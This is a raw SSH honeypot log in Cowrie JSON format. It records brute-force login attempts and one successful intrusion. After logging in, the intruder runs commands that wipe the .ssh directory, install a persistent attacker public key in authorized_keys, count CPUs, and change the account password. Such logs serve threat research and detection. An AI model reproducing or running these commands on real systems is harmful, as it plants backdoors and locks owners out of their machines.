{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:37:d1:49:22:f9:9d:b0:43:ee:59:33:2c:ac:d6:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChlVDjtX/zTowEa9JOkP6SmJpIQPhDoTouLUy8U2ldE5lohDlkyP0kjJ1J8Cn0Xc6xIF48L+EBuv7Pk39sx0tK1Y18XTc023kFqjamDv1J27aXJc7bj4A2NryqNvKV5YzFfT5hXiJt+zX1SdGSIgXA/VfH6yIx/nEtbMBtqTCnosvkvno6K1t/edKNYetsbdnhtViJLtnkURqJkK4xLpQvom5vGeLnadhlI4fNtFVE7Uu07ae7/DcJxY2nuA+raNBzFj1vgghk1o0s7U+Z+Dkc1os9rkE2MiQrKPeKEzmmKcgw9hBmsBj6xe5WpTLK4qXJdS+l3OUVoNIrEW4gOaKf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:13.039474Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:6f:77:49:30:0c:eb:61:bf:fc:64:cd:52:68:4a:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyvWLXNw9mzXKlPjxepZohNIe5WKAj3GpYo9oDy2nPaTQGQXZ7x2zFsoXpEE7EJTdafFc4gbr4Zd/85aitjCJlK/M0fH3k8cLnWe0Igj5kmyb718FUNZRGvcdkaAK6iz9UYBlCAqJojKt8W38x1P4T4ndwgK3GpDW5EEX92VigBiGS3HDM1cqbFIgPP+hX1vhV/0XZdBqjTQEIAzeuossOgdhy4OY5ZjGaGygQHSprfI3II1oJaLwdIjb7/7R/oBcvsb4XLhih0eBMpz5kTFI+qRVBZ7W2DruhRGuEmOBP8UtiMILglW9Itaf7p7hu0RbHsrFeu8Rj+r6NLY1l/5aB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:6f:77:49:30:0c:eb:61:bf:fc:64:cd:52:68:4a:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:13.125069Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:6f:77:49:30:0c:eb:61:bf:fc:64:cd:52:68:4a:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyvWLXNw9mzXKlPjxepZohNIe5WKAj3GpYo9oDy2nPaTQGQXZ7x2zFsoXpEE7EJTdafFc4gbr4Zd/85aitjCJlK/M0fH3k8cLnWe0Igj5kmyb718FUNZRGvcdkaAK6iz9UYBlCAqJojKt8W38x1P4T4ndwgK3GpDW5EEX92VigBiGS3HDM1cqbFIgPP+hX1vhV/0XZdBqjTQEIAzeuossOgdhy4OY5ZjGaGygQHSprfI3II1oJaLwdIjb7/7R/oBcvsb4XLhih0eBMpz5kTFI+qRVBZ7W2DruhRGuEmOBP8UtiMILglW9Itaf7p7hu0RbHsrFeu8Rj+r6NLY1l/5aB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:13.128241Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:13.214038Z","src_ip":"50.7.127.99","session":"447816f5ab22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":43336,"dst_ip":"10.17.0.5","dst_port":22,"session":"48d543d6cda3","protocol":"ssh","message":"New connection: 211.251.245.88:43336 (10.17.0.5:22) [session: 48d543d6cda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:19.843300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:19.846905Z","src_ip":"211.251.245.88","session":"48d543d6cda3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:20.051490Z","src_ip":"211.251.245.88","session":"48d543d6cda3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123123123","message":"login attempt [root/Root123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:20.904639Z","src_ip":"211.251.245.88","session":"48d543d6cda3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:22.113823Z","src_ip":"211.251.245.88","session":"48d543d6cda3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":44358,"dst_ip":"10.17.0.5","dst_port":22,"session":"95aaabe44de5","protocol":"ssh","message":"New connection: 103.78.1.33:44358 (10.17.0.5:22) [session: 95aaabe44de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:25.579955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:25.582627Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:25.803421Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@1234","message":"login attempt [admin/Admin@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:26.719566Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:27.195348Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:27.197356Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:27.199219Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:27.682622Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:27.942896Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:27.944677Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.169667Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.172142Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":44374,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a0ab4bb6f3b","protocol":"ssh","message":"New connection: 103.78.1.33:44374 (10.17.0.5:22) [session: 9a0ab4bb6f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.385384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.389211Z","src_ip":"103.78.1.33","session":"9a0ab4bb6f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.160.173.22","src_port":53550,"dst_ip":"10.17.0.5","dst_port":22,"session":"41cba3c06c1d","protocol":"ssh","message":"New connection: 124.160.173.22:53550 (10.17.0.5:22) [session: 41cba3c06c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.475011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.479014Z","src_ip":"124.160.173.22","session":"41cba3c06c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.609197Z","src_ip":"103.78.1.33","session":"9a0ab4bb6f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:28.724380Z","src_ip":"124.160.173.22","session":"41cba3c06c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"welcome","message":"login attempt [postgres/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:29.715740Z","src_ip":"124.160.173.22","session":"41cba3c06c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:29.910438Z","src_ip":"103.78.1.33","session":"9a0ab4bb6f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:31.133616Z","src_ip":"103.78.1.33","session":"9a0ab4bb6f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":44376,"dst_ip":"10.17.0.5","dst_port":22,"session":"30df51f69215","protocol":"ssh","message":"New connection: 103.78.1.33:44376 (10.17.0.5:22) [session: 30df51f69215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:31.361266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:31.365809Z","src_ip":"103.78.1.33","session":"30df51f69215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:31.605437Z","src_ip":"103.78.1.33","session":"30df51f69215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:32.538195Z","src_ip":"103.78.1.33","session":"30df51f69215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:33.763575Z","src_ip":"103.78.1.33","session":"30df51f69215","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:34.028620Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:34.030568Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:34.470280Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:34.731584Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@1234\\nA5P88jkeqWwd\\nA5P88jkeqWwd\"|passwd|bash","message":"CMD: echo -e \"Admin@1234\\nA5P88jkeqWwd\\nA5P88jkeqWwd\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:34.734298Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:34.737168Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:34.739526Z","src_ip":"103.78.1.33","session":"95aaabe44de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":40925,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ae0602d56c6","protocol":"ssh","message":"New connection: 103.86.198.253:40925 (159.203.135.109:22) [session: 0ae0602d56c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:35.055440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:41:35.058969Z","src_ip":"103.86.198.253","session":"0ae0602d56c6","protocol":"ssh"}
